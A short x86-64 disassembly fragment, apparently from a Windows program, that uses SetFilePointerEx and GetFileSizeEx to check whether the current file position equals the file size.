mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400418c4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400418c4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400418c6
xor al, al
add rsp, 0x20
pop rbx
ret